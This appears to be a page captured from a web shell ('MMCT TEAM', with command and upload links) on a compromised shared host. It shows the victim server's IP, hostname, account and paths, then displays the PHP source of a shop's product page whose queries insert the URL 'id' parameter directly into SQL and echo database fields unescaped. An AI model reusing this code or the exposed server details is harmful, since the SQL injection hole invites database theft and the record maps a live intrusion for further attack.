MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.144.92.165
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/holyevents.in/../aviorinternational.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/holyevents.in/../aviorinternational.com/products-page.php
<?php 
    include_once('admin/config.php');
    $aid = $_GET['id'];
    $sql3 = "SELECT * FROM `tb5_product_sub_cat` WHERE s_id = '$aid'";
    $run3 = mysqli_query($db,$sql3) or die("Query Not run");
    $data3 = mysqli_fetch_assoc($run3)
        
?>
<!doctype html>
<html lang="en">

<meta http-equiv="content-type" content="text/html;charset=utf-8" />

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">

    <title><?php echo $data3['meta_title']?>-Avior-International</title>
    <meta name="description" content="<?php echo $data3['meta_desc']?>">
    

 <?php include 'top-link.php';?>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body id="index" class="lang-en country-us currency-usd layout-full-width page-index tax-display-disabled fullwidth">
    <main>

       
        <?php include 'header.php';?>

        <div>
            <img class="img-responsive" src="modules/fieldstaticblocks/images/banner-top.jpg" alt="" />
        </div>

        <aside id="notifications">
            <div class="container">
            </div>
        </aside>

        <section id="wrapper" class="active_grid">
            <h2 style="display:none !important">.</h2>
            <div class="container">

                <div class="col-sm-8 col-lg-5 col-xs-12" style="float:right;padding:0">



                </div>
                <nav data-depth="2" class="breadcrumb hidden-sm-down">
                    <ol itemscope itemtype="http://schema.org/BreadcrumbList">
                        <li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem">
                            <a itemprop="item" href="index.php">
                                <span itemprop="name">Home</span>
                            </a>
                            <meta itemprop="position" content="1">
                        </li>
                        <li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem">
                            <a itemprop="item" href="#">
                                <span itemprop="name"><?php echo $data3['name']?></span>
                            </a>
                            <meta itemprop="position" content="2">
                        </li>
                    </ol>
                </nav>


                <div class="row">

                    <div id="left-column" class="col-xs-12 col-sm-4 col-md-3">



                        <div class="block-categories hidden-sm-down">
                            <ul class="category-top-menu">
                                <li><a class="text-uppercase h6" href="#">Products</a>
                                </li>
                                <li>
                                    <ul class="category-sub-menu">
                                        <?php 
                                            include_once('admin/config.php');
                                            $aid = $data3['main_cat'];
                                            $sql5 = "SELECT * FROM `tb5_product_sub_cat` WHERE main_cat = '$aid'";
                                            $run5 = mysqli_query($db,$sql5) or die("Query Not run");
                                            while($data5 = mysqli_fetch_assoc($run5)){
                                                if(mysqli_num_rows($run5) > 0){
                                        ?>
                                        <li data-depth="0"><a href="products-page.php?id=<?php echo $data5['s_id']?>"><?php echo $data5['name']?></a></li>
                                        <?php }} ?>
                                        

                                        
                                        
                                    </ul>
                                </li>
                            </ul>
                        </div>
                        
                        <div class="field-slideshow-container">
                            <div class="flexslider field-nivoslider">
                                <div class="field-loading"></div>
                                <div id="field-slideshow-home" class="slides">
                                    <img style="display:none"
                                            src="img/minislide.jpg"
                                            alt="" title="#htmlcaption1" />
                                    <img style="display:none"
                                            src="img/minislide2.jpg"
                                            alt="" title="#htmlcaption2" />
                                    <img style="display:none"
                                            src="img/minislide3.jpg"
                                            alt="" title="#htmlcaption3" />
                                </div>
                            </div>
                        </div>

                        <script type="text/javascript">
                            $(window).load(function () {
                                $('#field-slideshow-home').nivoSlider({
                                    effect: 'random',
                                    slices: 15,
                                    boxCols: 8,
                                    boxRows: 4,
                                    animSpeed: '1000',
                                    pauseTime: '4800',
                                    startSlide: 0,
                                    directionNav: false,
                                    controlNav: 1,
                                    controlNavThumbs: false,
                                    pauseOnHover: true,
                                    manualAdvance: false,
                                    prevText: 'Prev',
                                    nextText: 'Next',
                                    afterLoad: function () {
                                        $('.field-loading').css("display", "none");
                                    },
                                    beforeChange: function () {
                                        $('.field-slideshow-title, .field-slideshow-des').css("left", "-100%");
                                        $('.field-slideshow-readmore').css("left", "-100%");
                                    },
                                    afterChange: function () {
                                        $('.field-slideshow-title, .field-slideshow-des, .field-slideshow-readmore').css("left", "0")
                                    }
                                });
                            });
                        </script>

                    </div>



                    <div id="content-wrapper" class="left-column col-xs-12 col-sm-8 col-md-9">

                        <section id="main">
                            <h2 style="display:none !important">.</h2>



                            <section id="products">

                                <div class="hidden-sm-down">
                                    <!-- <section id="js-active-search-filters" class="active_filters">
                                        <h1 class="h6 active-filter-title">Active filters</h1>
                                        <ul>
                                            <li class="filter-block"> In stock <a class="js-search-link"
                                                    href="https://demo.fieldthemes.com/ps_dorado/home4/en/12-portfolio?q=Size-M-L"><i
                                                        class="material-icons close">&#xE5CD;</i></a></li>
                                            <li class="filter-block"> M <a class="js-search-link"
                                                    href="https://demo.fieldthemes.com/ps_dorado/home4/en/12-portfolio?q=Availability-In+stock/Size-L"><i
                                                        class="material-icons close">&#xE5CD;</i></a></li>
                                            <li class="filter-block"> L <a class="js-search-link"
                                                  Latest#  href="https://demo.fieldthemes.com/ps_dorado/home4/en/12-portfolio?q=Availability-In+stock/Size-M"><i
                                                        class="material-icons close">&products-check-out.phpxE5CD;</i></a></li>
                                        </ul>
                                    </section> -->

                                </div>


                                <div id="product_list_grid">

                                    <div id="js-product-list">
                                        <div class="products horizontal_mode">
                                            <div id="box-product-grid">
                                                <div class="row">

                                                    <?php 
                                                        include_once('admin/config.php');
                                                        $aid = $_GET['id'];
                                                        $sql4 = "SELECT * FROM `tb5_product` WHERE sub_cat = '$aid'";
                                                        $run4 = mysqli_query($db,$sql4) or die("Query Not run");
                                                        while($data4 = mysqli_fetch_assoc($run4)){
                                                    ?>
                                                    <div class="item col-xs-6 col-sm-6 col-md-3">
                                                        <div style="box-shadow: rgba(0, 0, 0, 0.16) 0px 1px 4px;padding:5px;margin:10px auto;" class="item-inner">
                                                            <div class="product-miniature js-product-miniature"
                                                                data-id-product="4" data-id-product-attribute="16"
                                                                itemscope itemtype="http://schema.org/Product">
                                                                <div class="left-product">
                                                                    <a href="products-check-out.php?id=<?php echo $data4['p_id']?>" class="thumbnail product-thumbnail">
                                                                        <span class="cover_image">
                                                                            <img style="height:220px;width:150px" class="img-fluid"  src="img/<?php echo $data4['image_1']?>"
                                                                                data-full-size-image-url="img/<?php echo $data4['image_1']?>">
                                                                        </span>
                                                                        <!--<span class="hover_image">-->
                                                                        <!--    <img src="img/pro2.jpg"-->
                                                                        <!--        data-full-size-image-url="img/pro2.jpg">-->
                                                                        <!--</span>-->

                                                                    </a>
                                         
                                                                </div>
                                                                <div class="right-product">
                                                                    <div class="product-description">
                                                                        <div style="font-size:16px;" class="product_name"><a style="padding: 10px" href="products-check-out.php?id=<?php echo $data4['p_id']?>">
                                                                            <?php echo $data4['name']?></a></div>

                                                                    </div>
                                                                </div>
                                                            </div>

                                                        </div>
                                                    </div>
                                                    <?php } ?>

                                                </div>
                                            </div>

                                        </div>


                                        <nav class="pagination">
                                            <div class="col-md-3">
                                                Showing 1-9 of 9 item(s)
                                            </div>
                                            <div class="col-md-8">
                                                <ul class="page-list clearfix text-xs-center">
                                                    <li>
                                                        <a rel="prev"
                                                            href="https://demo.fieldthemes.com/ps_dorado/home4/en/12-portfolio?page=1&amp;q=Availability-In+stock/Size-M-L"
                                                            class="previous disabled js-search-link">
                                                            <i class="material-icons">&#xE314;</i>Previous
                                                        </a>
                                                    </li>
                                                    <li class="current">
                                                        <a rel="nofollow"
                                                            href="https://demo.fieldthemes.com/ps_dorado/home4/en/12-portfolio?page=1&amp;q=Availability-In+stock/Size-M-L"
                                                            class="disabled js-search-link">
                                                            1
                                                        </a>
                                                    </li>
                                                    <li>
                                                        <a rel="next"
                                                            href="https://demo.fieldthemes.com/ps_dorado/home4/en/12-portfolio?page=1&amp;q=Availability-In+stock/Size-M-L"
                                                            class="next disabled js-search-link">
                                                            Next<i class="material-icons">&#xE315;</i>
                                                        </a>
                                                    </li>
                                                </ul>
                                            </div>
                                        </nav>

                                        <script type="text/javascript">
                                            $(document).ready(function () {
                                                $(".click-product-grid").click(function (e) {
                                                    $("#wrapper").removeClass("active_list");
                                                    $("#wrapper").addClass("active_grid");
                                                    setCookie('status_list_product', 'active_grid', 1);
                                                });
                                                $(".click-product-list").click(function (e) {
                                                    $("#wrapper").removeClass("active_grid");
                                                    $("#wrapper").addClass("active_list");
                                                    setCookie('status_list_product', 'active_list', 1);
                                                });
                                                if (getCookie('status_list_product') !== "" && getCookie('status_list_product') !== "active_grid") {
                                                    $("#wrapper").removeClass("active_grid");
                                                    $("#wrapper").addClass("active_list");
                                                }
                                            });

                                            function setCookie(cname, cvalue, exdays) {
                                                var d = new Date();
                                                d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
                                                var expires = "expires=" + d.toUTCString();
                                                document.cookie = cname + "=" + cvalue + "; " + expires;
                                            }
                                            function getCookie(cname) {
                                                var name = cname + "=";
                                                var ca = document.cookie.split(';');
                                                for (var i = 0; i < ca.length; i++) {
                                                    var c = ca[i];
                                                    while (c.charAt(0) == ' ') c = c.substring(1);
                                                    if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
                                                }
                                                return "";
                                            }
                                        </script>
                                    </div>


                                </div>

                                <div id="js-product-list-bottom">

                                    <div id="js-product-list-bottom"></div>

                                </div>

                            </section>

                        </section>

                    </div>



                </div>



            </div>

        </section>

        <?php include 'footer.php';?>

MMCT - 2023